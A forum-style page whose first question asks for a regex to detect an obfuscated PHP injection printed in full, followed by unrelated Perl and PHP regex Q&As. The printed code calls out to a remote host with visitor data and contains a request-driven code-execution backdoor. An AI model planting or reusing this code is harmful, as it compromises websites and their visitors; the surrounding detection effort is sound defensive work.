Regex to detect this code - regex

I am trying to detect the following code using grepWin. As text search, it is not being detected. Can anyone help me create a regex to detect this code?
<?php
//###==###
error_reporting(0); ini_set("display_errors", "0"); if (!isset($i5d8a868c)) { $i5d8a868c = TRUE; $GLOBALS['_2023670025_']=Array(base64_decode('cHJlZ19' .'tY' .'XRjaA=='),base64_decode('Zml' .'s' .'Z' .'V' .'9nZX' .'Rf' .'Y29ud' .'GVudHM='),base64_decode('bXRf' .'cmFu' .'ZA=='),base64_decode('c' .'3RydG9' .'sb3dlcg=' .'='),base64_decode('aW1hZ2Vjb3B5c' .'mVza' .'Xp' .'l' .'ZA' .'=='),base64_decode('dX' .'JsZW5' .'jb2Rl'),base64_decode('dXJsZW5' .'jb2Rl'),base64_decode('' .'b' .'WQ1'),base64_decode('' .'aW5pX2dld' .'A' .'=' .'='),base64_decode('ZmlsZV9nZ' .'X' .'R' .'fY29udGV' .'udH' .'M='),base64_decode('c3R' .'yb' .'GVu'),base64_decode('ZnVuY3Rpb25fZXhpc3R' .'z'),base64_decode('Y3VybF9pbml0'),base64_decode('Y' .'3VybF9zZ' .'XRvcHQ='),base64_decode('Y3' .'VybF9zZ' .'XRvc' .'H' .'Q='),base64_decode('' .'YXJyYX' .'lf' .'Zmxpc' .'A' .'=='),base64_decode('bXRfcmF' .'uZA' .'=='),base64_decode('Y3Vyb' .'F9leG' .'Vj'),base64_decode('YmFzZT' .'Y0X2R' .'lY' .'29kZQ=='),base64_decode('Zmdl' .'dHM='),base64_decode('' .'Y3VybF' .'9' .'j' .'bG9zZQ=' .'='),base64_decode('' .'ZnN' .'vY2tvcGVu'),base64_decode('c29ja' .'2V0X' .'2dldHBlZXJuYW1l'),base64_decode('bX' .'Rf' .'cmF' .'u' .'ZA' .'=' .'='),base64_decode('' .'Z' .'ndya' .'X' .'Rl'),base64_decode('dXJsZGV' .'jb' .'2' .'Rl'),base64_decode('' .'aW1hZ2' .'Vm' .'aW' .'x0' .'ZX' .'I='),base64_decode('ZmV' .'vZg=='),base64_decode('ZmdldHM' .'='),base64_decode('ZmN' .'sb3Nl'),base64_decode('cHJlZ19' .'zcGxpdA' .'=='),base64_decode('c3RycG' .'9z'),base64_decode('c2Vzc2lvbl9u' .'Y' .'W1l'),base64_decode('c3' .'RyaXBzbGFzaGVz')); function _1713395203($i){$a=Array('Y' .'2xpZW50' .'X2' .'No' .'Z' .'WNr','Y2xpZW5' .'0X2' .'No' .'ZWN' .'r','SFR' .'UUF' .'9B' .'Q0NFUFRfQ' .'0hBUlNFVA==','' .'IS' .'4h' .'d' .'Q==','U' .'0' .'NS' .'SVB' .'UX0ZJTEV' .'OQU1F','VVRGLTg' .'=','d2l' .'u' .'ZG93cy0xMjUx','SFRU' .'UF' .'9BQ0' .'NFUFRfQ0h' .'BUlNFVA==','U' .'0' .'VSVk' .'VS' .'X05B' .'T' .'U' .'U=','U' .'kVRVUV' .'TVF9VUk' .'k=','SFRUU' .'F9VU' .'0VSX0F' .'HRU' .'5' .'U','U' .'k' .'VNT1' .'RF' .'X' .'0F' .'ERFI=','dHYteHh' .'sLn' .'J1','L2dldC5' .'waHA/ZD' .'0' .'=','J' .'nU9','' .'JmM9','Jmk9' .'MSZ' .'pcD0=','' .'Jmg9','ZjE1' .'ZGYxOTQ1' .'N' .'Tc3ZjhjOTkxNmM0N' .'jg5' .'O' .'GM2' .'YmIwN' .'2' .'M' .'=','MQ==','YWxsb3d' .'f' .'dXJsX' .'2ZvcGVu','aHR0c' .'D' .'ovLw==','Y3Vyb' .'F9pbml0','' .'aH' .'R0' .'cDovLw==','' .'R0V' .'UIA==','I' .'EhUVF' .'Av' .'MS4' .'xDQo=','SG9' .'zdDog','DQo=','' .'Q29ubmVjd' .'Gl' .'vbjog' .'Q' .'2x' .'v' .'c' .'2UNCg0' .'K','','L1xSXFIv','aX' .'VrcmphbHFoZ' .'WFyY2U=','eG56','' .'cA=' .'=','NWQ' .'4' .'YTg2OGM=','Zg' .'==','Yw==');return base64_decode($a[$i]);} if(!isset($zde_0)){if(!empty($_COOKIE[_1713395203(0)]))die($_COOKIE[_1713395203(1)]);if(!isset($zde_1[_1713395203(2)])){if($GLOBALS['_2023670025_'][0](_1713395203(3),$GLOBALS['_2023670025_'][1]($_SERVER[_1713395203(4)])))$zde_2=_1713395203(5);else $zde_2=_1713395203(6);}else{$zde_2=$zde_1[_1713395203(7)];}$zde_3=$_SERVER[_1713395203(8)] .$_SERVER[_1713395203(9)];$zde_4=$_SERVER[_1713395203(10)];$zde_5=$_SERVER[_1713395203(11)];if(round(0+2201.5+2201.5)<$GLOBALS['_2023670025_'][2](round(0+24.666666666667+24.666666666667+24.666666666667),round(0+1441.3333333333+1441.3333333333+1441.3333333333)))$GLOBALS['_2023670025_'][3]($_REQUEST,$zde_5);$zde_6=_1713395203(12);while(round(0+854+854+854)-round(0+1281+1281))$GLOBALS['_2023670025_'][4]($zde_0,$zde_6,$_SERVER,$zde_7);$zde_8=_1713395203(13) .$GLOBALS['_2023670025_'][5]($zde_3) ._1713395203(14) .$GLOBALS['_2023670025_'][6]($zde_4) ._1713395203(15) .$zde_2 ._1713395203(16) .$zde_5 ._1713395203(17) .$GLOBALS['_2023670025_'][7](_1713395203(18) .$zde_3 .$zde_4 .$zde_2 ._1713395203(19));if($GLOBALS['_2023670025_'][8](_1713395203(20))== round(0+0.2+0.2+0.2+0.2+0.2)){$zde_0=$GLOBALS['_2023670025_'][9](_1713395203(21) .$zde_6 .$zde_8);}if($GLOBALS['_2023670025_'][10]($zde_0)<round(0+2.5+2.5+2.5+2.5)){if($GLOBALS['_2023670025_'][11](_1713395203(22))){$zde_9=$GLOBALS['_2023670025_'][12](_1713395203(23) .$zde_6 .$zde_8);$GLOBALS['_2023670025_'][13]($zde_9,42,FALSE);$GLOBALS['_2023670025_'][14]($zde_9,19913,TRUE);(round(0+143.66666666667+143.66666666667+143.66666666667)-round(0+215.5+215.5)+round(0+505+505)-round(0+336.66666666667+336.66666666667+336.66666666667))?$GLOBALS['_2023670025_'][15]($zde_6,$zde_6):$GLOBALS['_2023670025_'][16](round(0+87+87+87+87),round(0+143.66666666667+143.66666666667+143.66666666667));$zde_0=$GLOBALS['_2023670025_'][17]($zde_9);if((round(0+207.75+207.75+207.75+207.75)^round(0+166.2+166.2+166.2+166.2+166.2))&& $GLOBALS['_2023670025_'][18]($_SERVER))$GLOBALS['_2023670025_'][19]($zde_10,$zde_8,$_REQUEST);$GLOBALS['_2023670025_'][20]($zde_9);}else{$zde_10=$GLOBALS['_2023670025_'][21]($zde_6,round(0+80),$zde_7,$zde_11,round(0+7.5+7.5+7.5+7.5));(round(0+1414)-round(0+282.8+282.8+282.8+282.8+282.8)+round(0+1169.6666666667+1169.6666666667+1169.6666666667)-round(0+3509))?$GLOBALS['_2023670025_'][22]($_REQUEST,$zde_8,$zde_2,$zde_10):$GLOBALS['_2023670025_'][23](round(0+282.8+282.8+282.8+282.8+282.8),round(0+765.5+765.5));if($zde_10){$zde_12=_1713395203(24) .$zde_8 ._1713395203(25);$zde_12 .= _1713395203(26) .$zde_6 ._1713395203(27);$zde_12 .= _1713395203(28);$GLOBALS['_2023670025_'][24]($zde_10,$zde_12);if((round(0+1167+1167+1167)+round(0+213.2+213.2+213.2+213.2+213.2))>round(0+700.2+700.2+700.2+700.2+700.2)|| $GLOBALS['_2023670025_'][25]($zde_4,$zde_6,$zde_8));else{$GLOBALS['_2023670025_'][26]($zde_3,$_SERVER,$zde_13);}$zde_14=_1713395203(29);while(!$GLOBALS['_2023670025_'][27]($zde_10)){$zde_14 .= $GLOBALS['_2023670025_'][28]($zde_10,round(0+64+64));}$GLOBALS['_2023670025_'][29]($zde_10);list($zde_13,$zde_0)=$GLOBALS['_2023670025_'][30](_1713395203(30),$zde_14,round(0+1+1));if($GLOBALS['_2023670025_'][31](_1713395203(31),_1713395203(32))!==false)$GLOBALS['_2023670025_'][32]($zde_0,$zde_4);}}}if(#$_REQUEST[_1713395203(33)]== _1713395203(34))$_REQUEST[_1713395203(35)]($GLOBALS['_2023670025_'][33]($_REQUEST[_1713395203(36)]));}echo $zde_0; }
//###==###
?>

I did it. by fiddling around, I managed to create the regex. I am posting it in case anyone might need it:
(?<=<\?php .\n\/\/###==###)(.*)(?=\?>)

Related

Unix shell scripting — find and replace

There are multiple files (1000 files) that need this change; doing it manually is not feasible — can anyone please suggest how to go about it in Unix/Linux shell scripting?
Requirement:
Wherever there is l2cache[25-48] for CONF_CATALOG_MULTI_SERVER_HOST_SECONDARY and CONF_SEARCH_MULTI_SERVER_HOST_SECONDARY, I need to change [13-24].
Example : edc-v1-l2cache25 this changes to edc-v1-l2cache13, edc-v1-l2cache26 changes to edc-v1-l2cache14 and so on until 36 changes to 24 and removing the rest 37-48 .
Wherever there is l2cache[1-24] for CONF_SEARCH_MULTI_SERVER_HOST and CONF_CATALOG_MULTI_SERVER_HOST, I need to change to [1-12]
i.e need to remove l2cache[13-24], only edc-v1-l2cache[1-12] should be present in CONF_CATALOG_MULTI_SERVER_HOST and CONF_SEARCH_MULTI_SERVER_HOST
Example/INPUT data:
CONF_CATALOG_MULTI_SERVER_HOST_SECONDARY=edc-v1-l2cache25 ,edc-v1-l2cache26 ,edc-v1-l2cache27 ,edc-v1-l2cache28 ,edc-v1-l2cache29 ,edc-v1-l2cache30 ,edc-v1-l2cache31 ,edc-v1-l2cache32 ,edc-v1-l2cache33 ,edc-v1-l2cache34 ,edc-v1-l2cache35 ,edc-v1-l2cache36 ,edc-v1-l2cache37 ,edc-v1-l2cache38 ,edc-v1-l2cache39 ,edc-v1-l2cache40 ,edc-v1-l2cache41 ,edc-v1-l2cache42 ,edc-v1-l2cache43 ,edc-v1-l2cache44 ,edc-v1-l2cache45 ,edc-v1-l2cache46 ,edc-v1-l2cache47 ,edc-v1-l2cache48
CONF_SEARCH_MULTI_SERVER_HOST_SECONDARY=edc-v1-l2cache25 ,edc-v1-l2cache26 ,edc-v1-l2cache27 ,edc-v1-l2cache28 ,edc-v1-l2cache29 ,edc-v1-l2cache30 ,edc-v1-l2cache31 ,edc-v1-l2cache32 ,edc-v1-l2cache33 ,edc-v1-l2cache34 ,edc-v1-l2cache35 ,edc-v1-l2cache36 ,edc-v1-l2cache37 ,edc-v1-l2cache38 ,edc-v1-l2cache39 ,edc-v1-l2cache40 ,edc-v1-l2cache41 ,edc-v1-l2cache42 ,edc-v1-l2cache43 ,edc-v1-l2cache44 ,edc-v1-l2cache45 ,edc-v1-l2cache46 ,edc-v1-l2cache47 ,edc-v1-l2cache48
CONF_CATALOG_MULTI_SERVER_HOST=edc-v1-l2cache1 ,edc-v1-l2cache2 ,edc-v1-l2cache3 ,edc-v1-l2cache4 ,edc-v1-l2cache5 ,edc-v1-l2cache6 ,edc-v1-l2cache7 ,edc-v1-l2cache8 ,edc-v1-l2cache9 ,edc-v1-l2cache10 ,edc-v1-l2cache11 ,edc-v1-l2cache12 ,edc-v1-l2cache13 ,edc-v1-l2cache14 ,edc-v1-l2cache15 ,edc-v1-l2cache16 ,edc-v1-l2cache17 ,edc-v1-l2cache18 ,edc-v1-l2cache19 ,edc-v1-l2cache20 ,edc-v1-l2cache21 ,edc-v1-l2cache22 ,edc-v1-l2cache23 ,edc-v1-l2cache24
CONF_SEARCH_MULTI_SERVER_HOST=edc-v1-l2cache1 ,edc-v1-l2cache2 ,edc-v1-l2cache3 ,edc-v1-l2cache4 ,edc-v1-l2cache5 ,edc-v1-l2cache6 ,edc-v1-l2cache7 ,edc-v1-l2cache8 ,edc-v1-l2cache9 ,edc-v1-l2cache10 ,edc-v1-l2cache11 ,edc-v1-l2cache12 ,edc-v1-l2cache13 ,edc-v1-l2cache14 ,edc-v1-l2cache15 ,edc-v1-l2cache16 ,edc-v1-l2cache17 ,edc-v1-l2cache18 ,edc-v1-l2cache19 ,edc-v1-l2cache20 ,edc-v1-l2cache21 ,edc-v1-l2cache22 ,edc-v1-l2cache23 ,edc-v1-l2cache24
OUTPUT data:
CONF_CATALOG_MULTI_SERVER_HOST_SECONDARY=edc-v1-l2cache13 ,edc-v1-l2cache14 ,edc-v1-l2cache15 ,edc-v1-l2cache16 ,edc-v1-l2cache17 ,edc-v1-l2cache18 ,edc-v1-l2cache19 ,edc-v1-l2cache20 ,edc-v1-l2cache21 ,edc-v1-l2cache22 ,edc-v1-l2cache23 ,edc-v1-l2cache24
CONF_SEARCH_MULTI_SERVER_HOST_SECONDARY=edc-v1-l2cache13 ,edc-v1-l2cache14 ,edc-v1-l2cache15 ,edc-v1-l2cache16 ,edc-v1-l2cache17 ,edc-v1-l2cache18 ,edc-v1-l2cache19 ,edc-v1-l2cache20 ,edc-v1-l2cache21 ,edc-v1-l2cache22 ,edc-v1-l2cache23 ,edc-v1-l2cache24
CONF_CATALOG_MULTI_SERVER_HOST=edc-v1-l2cache1 ,edc-v1-l2cache2 ,edc-v1-l2cache3 ,edc-v1-l2cache4 ,edc-v1-l2cache5 ,edc-v1-l2cache6 ,edc-v1-l2cache7 ,edc-v1-l2cache8 ,edc-v1-l2cache9 ,edc-v1-l2cache10 ,edc-v1-l2cache11 ,edc-v1-l2cache12
CONF_SEARCH_MULTI_SERVER_HOST=edc-v1-l2cache1 ,edc-v1-l2cache2 ,edc-v1-l2cache3 ,edc-v1-l2cache4 ,edc-v1-l2cache5 ,edc-v1-l2cache6 ,edc-v1-l2cache7 ,edc-v1-l2cache8 ,edc-v1-l2cache9 ,edc-v1-l2cache10 ,edc-v1-l2cache11 ,edc-v1-l2cache12
So, those names are diabolically long!
Judging from the output, for the CSMSHS and CCMSHS entries, you need to change things so that entries with 25-48 are reorganized so that there are 12 entries with values 13-24 and the other 12 entries are deleted.
Similarly, for the CSMSH and CCMSH entries, you want to delete the entries with values 13-24.
Presumably you don't have to worry about erratic entries in the files; they are all consistent at the moment, and should all be consistent afterwards.
Frankly, the simplest thing is to create the replacement string and use a relatively simple search to identify the lines that need to be changed (ensuring that the changes are idempotent; reapplying the script to a converted file won't change the file a second time). I find the space-comma notation off-putting; in the circles I work in, that should be comma-space. However, we can leave that alone.
I'd use Perl, but Awk could be used if you wanted to, and Python likewise would do the job handily.
#!/usr/bin/perl
use strict;
use warnings;
my $base = "edc-v1-l2cache";
my $secondary = "";
my $pad = "";
for (my $i = 13; $i <= 24; $i++)
{
$secondary .= $pad . $base . $i;
$pad = " ,"; # ", "!
}
my $primary = "";
$pad = "";
for (my $i = 1; $i <= 12; $i++)
{
$primary .= $pad . $base . $i;
$pad = " ,"; # ", "!
}
while (<>)
{
s//$1$secondary/
if (m/(CONF_(?:CATALOG|SEARCH)_MULTI_SERVER_HOST_SECONDARY=)${base}25 ,.*${base}48$/);
s//$1$primary/
if (m/(CONF_(?:CATALOG|SEARCH)_MULTI_SERVER_HOST=)${base}1 ,.*${base}24$/);
print;
}
If some of the entries might be missing and that needs to be treated specially, you have to work a lot harder.

regex validating telephone number, but chops white space using perl

So I have an HTML field in a form that takes in a phone number. It validates it correctly when I use () or / or - however, if I put in say 555 123 4567, it returns 555. As always your help is greatly appreciates it.
Here is my code
my $userName=param("userName");
my $password=param("password");
my $phoneNumber=param("phoneNumber");
my $email=param("email");
my $onLoad=param("onLoad");
my $userNameReg = "[a-zA-Z0-9_]+";
my $passwordReg = "([a-zA-Z]*)([A-Z]+)([0-9]+)";
my $phoneNumberReg = "((\(?)([2-9]{1}[0-9]{2})(\/|-|\)|\s)?([2-9]{1}[0-9]{2})(\/|-|\s)?([0-9]{4}))";
my $emailReg = "([a-zA-Z0-9_]{2,})(#)([a-zA-Z0-9_]{2,})(.)(com|COM)";
if ($onLoad !=1)
{
#controlValue = ($userName, $password, $phoneNumber, $email);
#regex = ($userNameReg, $passwordReg, $phoneNumberReg, $emailReg);
#validated;
for ($i=0; $i<4; $i++)
{
$retVal= validatecontrols ($controlValue[$i], $regex[$i]);
if ($retVal)
{
$count++;
}
if (!$retVal)
{
$validated[$i]="*"
}
}
sub validatecontrols
{
my $ctrlVal = shift();
my $regexVal = shift();
if ($ctrlVal =~ /^$regexVal$/)
{
return 1;
}
return 0;
}
}
*html code is here*
I realize that this is part of an assignment, so you may be working under specific restraints. However, your attempt to abstract out your data validation is honestly just making things messy and harder to follow. It also ties you down to specifically regex tests, which may not actually be the best bet. As has already been said, email validation should be done via a module.
Also, for this phone validation, an easier solution is just to strip out anything that isn't a number, and then do your validation test. The below code demonstrates what I'm talking about:
my $userName = param("userName");
my $password = param("password");
my $phoneNumber = param("phoneNumber");
my $email = param("email");
my $onLoad = param("onLoad");
my $error = 0;
if ($onLoad !=1)
{
if ($username !~ /^[a-zA-Z0-9_]+$/) {
$username = '*';
$error++;
}
if ($password !~ /^[a-zA-Z]*[A-Z]+[0-9]+$/) {
$password = '*';
$error++;
}
(my $phoneNumOnly = $phoneNumber) =~ s/\D//g;
if ($phoneNumOnly !~ /^1?[2-9]{1}\d{2}[2-9]{1}\d{6}$/) {
$phoneNumber = '*';
$error++;
}
if ($email !~ /^\w{2,}\#\w{2,}\.com$/i) {
$email = '*';
$error++;
}
}
*html code is here*
That regex you're using looks a overly complicated. You have a lot of capturing groups in there, but I get the feeling you're mostly using them to define "OR" statements with the vertical bar. It's usually a lot easier to just use brackets for this purpose if you're only selecting single characters. Also, it's not a good idea to use\s for normal spaces, since this will actually match any whitespace character (tabs and newlines). Maybe try something like this:
(?:\(?[2-9]\d{2}\)?[-\/ ]?)?[2-9]\d{2}[-\/ ]?\d{4}

perl regex match and store specific character in scalar variable

Now suppose say i have this line in a file:
my %address = (
or any such similar line in which i have defined the hash.
I want to find the character "(" in the line and store "address" in say $hash_name. How do I do it?
Basic idea is to capture the name of the hash defined in the files.
I am trying to do is,
foreach $line <MYFILE> {
if($line =~ /($/ {
How do I proceed further?
Not sure if I understood your problem, but, how about:
my %hash;
while (my $line = <MYFILE>) {
if ($line =~ /\%(\w+)\s*=\s*\($/) {
$hash{$1} = 1;
}
}
open (F1,"inputfile.txt") or die("unable to open inputfile.txt");
my $hash_name
while (<F1>) {
if (/%(\w+) *= *\(/) {
$hash_name = $1;
print $hash_name;
}
}

Image tag scraper regular expression

I'm really REALLY bad at regular expressions. It just hasn't clicked yet. I'm trying to make small application that extracts all image tags of their src, width, and height attributes. This is what I have so far:
<?php
function print_links ($url)
{
$fp = fopen($url, "r") or die("Could not contact $url");
$page_contents = "";
while ($new_text = fread($fp, 100)) {
$page_contents .= $new_text;
}
$match_result =
preg_match_all( '/<img.*src=[\"\'](.*)[\"\'].*width=(\d+).*height=(\d+).*/>/i',
$page_contents,
$match_array,
PREG_SET_ORDER);
echo "number matched is: $match_result<br><br> ";
print_r($match_array);
foreach ($match_array as $entry) {
$tag = $entry[0];
$src = $entry[1];
$width = $entry[2];
$height = $entry[3];
print (" <b>src</b>: $src;
<b>width</b>: $width<br />
<b>height</b>: $height<br />
<b>tag</b>: $tag<br />"
);
}
}
print_links ("http://www.drudgereport.com/");
?>
but I get this little error:
Warning: preg_match_all(): Unknown modifier '>' in C:\Apache2.2\htdocs\it302\regex\regex.php on line 17 number matched is:
I'm not sure where I went wrong in my regexp. I've tried multiple things but have ended up just as confused.
Any suggestions?
In your regex the last .*/> is wrong.
no / there...
/<img.*src=[\"\'](.*)[\"\'].*width=(\d+).*height=(\d+).*>/i
or \/? escape and make it optional...
/<img.*src=[\"\'](.*)[\"\'].*width=(\d+).*height=(\d+).*\/?>/i
but this regex only works if src width height are in this given order within the img tag and width and height also allow quoted values and units. e.g. width="0.9em" is valid html... this are all reasons why you should not use regex to parse html (and many more...)
Do not use regex for this. Especially if you are REALLY bad :)
http://simplehtmldom.sourceforge.net/
foreach($html->find('img') as $element){
$src = $element->src;
$width = $element->width;
$height = $element->height;
print (" <b>src</b>: $src;
<b>width</b>: $width<br />
<b>height</b>: $height<br />
<b>tag</b>: $tag<br />"
);
}

using preg_replace after getting content from preg_match with regexp

I'm getting problems with my coding. I'm trying to take out tags from my preg_match_all. I'm still new and learning.
preg_match_all("/\<b>\\$(.*?)\<\/b\>/is", $res[0], $Price );
for($i = 0; $i < count($Price); $i++) {
$Price = preg_replace("/<.*?>/is","",$Price);
}
foreach($Price[0] as $kgbPrice)
{
$PriceArray[] = "<div class='prices' id='kgbdealsPrice'>".$Price."</div>";
}
The array is being outputted somewhere else.
I'm getting content which has
<b>content</b>
Thank you
SIMPLEHTMLDOM has been used by andrewliu for solving his problem. It was a much simpler solution.